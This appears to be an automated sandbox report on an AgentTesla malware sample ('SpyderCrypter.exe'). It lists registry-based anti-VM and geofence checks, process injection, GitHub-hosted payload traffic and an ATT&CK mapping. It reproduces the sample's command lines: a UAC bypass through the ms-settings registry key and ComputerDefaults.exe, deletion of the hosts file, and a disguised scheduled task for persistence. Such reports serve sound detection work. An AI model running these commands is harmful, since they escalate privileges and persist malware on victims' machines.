agenttesla | 6209712229816eb836f3b5492c23fa20afa7cf582111da9f90c8714c23a8812b

System Information Discovery

Processes:

SpyderCrypter.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	SpyderCrypter.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	SpyderCrypter.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

SpyderCrypter.exewscript.exeSpyderResources.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	SpyderCrypter.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	SpyderResources.exe

Executes dropped EXE 1 IoCs

Processes:

SpyderResources.exe

pid process

3360 SpyderResources.exe

pid	process
3360	SpyderResources.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/3156-11-0x0000000000B90000-0x000000000159C000-memory.dmp	themida
behavioral2/memory/3156-12-0x0000000000B90000-0x000000000159C000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

SpyderCrypter.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA SpyderCrypter.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

19 raw.githubusercontent.com
3 raw.githubusercontent.com
5 raw.githubusercontent.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4768 3360 WerFault.exe SpyderResources.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4424 schtasks.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	SpyderCrypter.exe

flow	ioc
19	raw.githubusercontent.com
3	raw.githubusercontent.com
5	raw.githubusercontent.com

pid	pid_target	process	target process
4768	3360	WerFault.exe	SpyderResources.exe

pid	process
4424	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

SpyderCrypter.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SpyderCrypter.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	SpyderCrypter.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	SpyderCrypter.exe

Modifies registry class 7 IoCs

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\jackpear63605335.vbs"	reg.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

SpyderCrypter.exeSpyderResources.exe

description pid process

Token: SeDebugPrivilege 3156 SpyderCrypter.exe
Token: SeDebugPrivilege 3360 SpyderResources.exe

description	pid	process
Token: SeDebugPrivilege	3156	SpyderCrypter.exe
Token: SeDebugPrivilege	3360	SpyderResources.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

SpyderCrypter.exeSpyderResources.execmd.exeComputerDefaults.exewscript.execmd.exe

description	pid	process	target process
PID 3156 wrote to memory of 3360	3156	SpyderCrypter.exe	SpyderResources.exe
PID 3156 wrote to memory of 3360	3156	SpyderCrypter.exe	SpyderResources.exe
PID 3156 wrote to memory of 3360	3156	SpyderCrypter.exe	SpyderResources.exe
PID 3360 wrote to memory of 2936	3360	SpyderResources.exe	reg.exe
PID 3360 wrote to memory of 2936	3360	SpyderResources.exe	reg.exe
PID 3360 wrote to memory of 2936	3360	SpyderResources.exe	reg.exe
PID 3360 wrote to memory of 4508	3360	SpyderResources.exe	reg.exe
PID 3360 wrote to memory of 4508	3360	SpyderResources.exe	reg.exe
PID 3360 wrote to memory of 4508	3360	SpyderResources.exe	reg.exe
PID 3360 wrote to memory of 4372	3360	SpyderResources.exe	cmd.exe
PID 3360 wrote to memory of 4372	3360	SpyderResources.exe	cmd.exe
PID 3360 wrote to memory of 4372	3360	SpyderResources.exe	cmd.exe
PID 4372 wrote to memory of 1676	4372	cmd.exe	ComputerDefaults.exe
PID 4372 wrote to memory of 1676	4372	cmd.exe	ComputerDefaults.exe
PID 4372 wrote to memory of 1676	4372	cmd.exe	ComputerDefaults.exe
PID 1676 wrote to memory of 760	1676	ComputerDefaults.exe	wscript.exe
PID 1676 wrote to memory of 760	1676	ComputerDefaults.exe	wscript.exe
PID 1676 wrote to memory of 760	1676	ComputerDefaults.exe	wscript.exe
PID 760 wrote to memory of 3772	760	wscript.exe	cmd.exe
PID 760 wrote to memory of 3772	760	wscript.exe	cmd.exe
PID 760 wrote to memory of 3772	760	wscript.exe	cmd.exe
PID 3360 wrote to memory of 940	3360	SpyderResources.exe	cmd.exe
PID 3360 wrote to memory of 940	3360	SpyderResources.exe	cmd.exe
PID 3360 wrote to memory of 940	3360	SpyderResources.exe	cmd.exe
PID 940 wrote to memory of 4424	940	cmd.exe	schtasks.exe
PID 940 wrote to memory of 4424	940	cmd.exe	schtasks.exe
PID 940 wrote to memory of 4424	940	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\SpyderCrypter.exe
"C:\Users\Admin\AppData\Local\Temp\SpyderCrypter.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3156

C:\Users\Admin\AppData\Local\Temp\SpyderResources.exe
"C:\Users\Admin\AppData\Local\Temp\SpyderResources.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3360

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\jackpear63605335.vbs" /f
3⤵
- Modifies registry class
PID:2936

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
3⤵
- Modifies registry class
PID:4508

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C computerdefaults.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4372

C:\Windows\SysWOW64\ComputerDefaults.exe
computerdefaults.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\wscript.exe
"wscript.exe" C:\Users\Admin\AppData\Local\Temp\jackpear63605335.vbs
5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
6⤵
PID:3772

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN BraveUpdateScheduler_QMyk9gHxWJYAojiqe050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Notifications\wpnidm\QMyk9gHxWJYAojiqe050MX.exe" /RL HIGHEST /IT
3⤵
- Suspicious use of WriteProcessMemory
PID:940

C:\Windows\SysWOW64\schtasks.exe
schtasks /Create /SC ONLOGON /TN BraveUpdateScheduler_QMyk9gHxWJYAojiqe050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Notifications\wpnidm\QMyk9gHxWJYAojiqe050MX.exe" /RL HIGHEST /IT
4⤵
- Creates scheduled task(s)
PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3360 -s 2244
3⤵
- Program crash
PID:4768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3360 -ip 3360
1⤵
PID:3512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

4

System Information Discovery

5

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service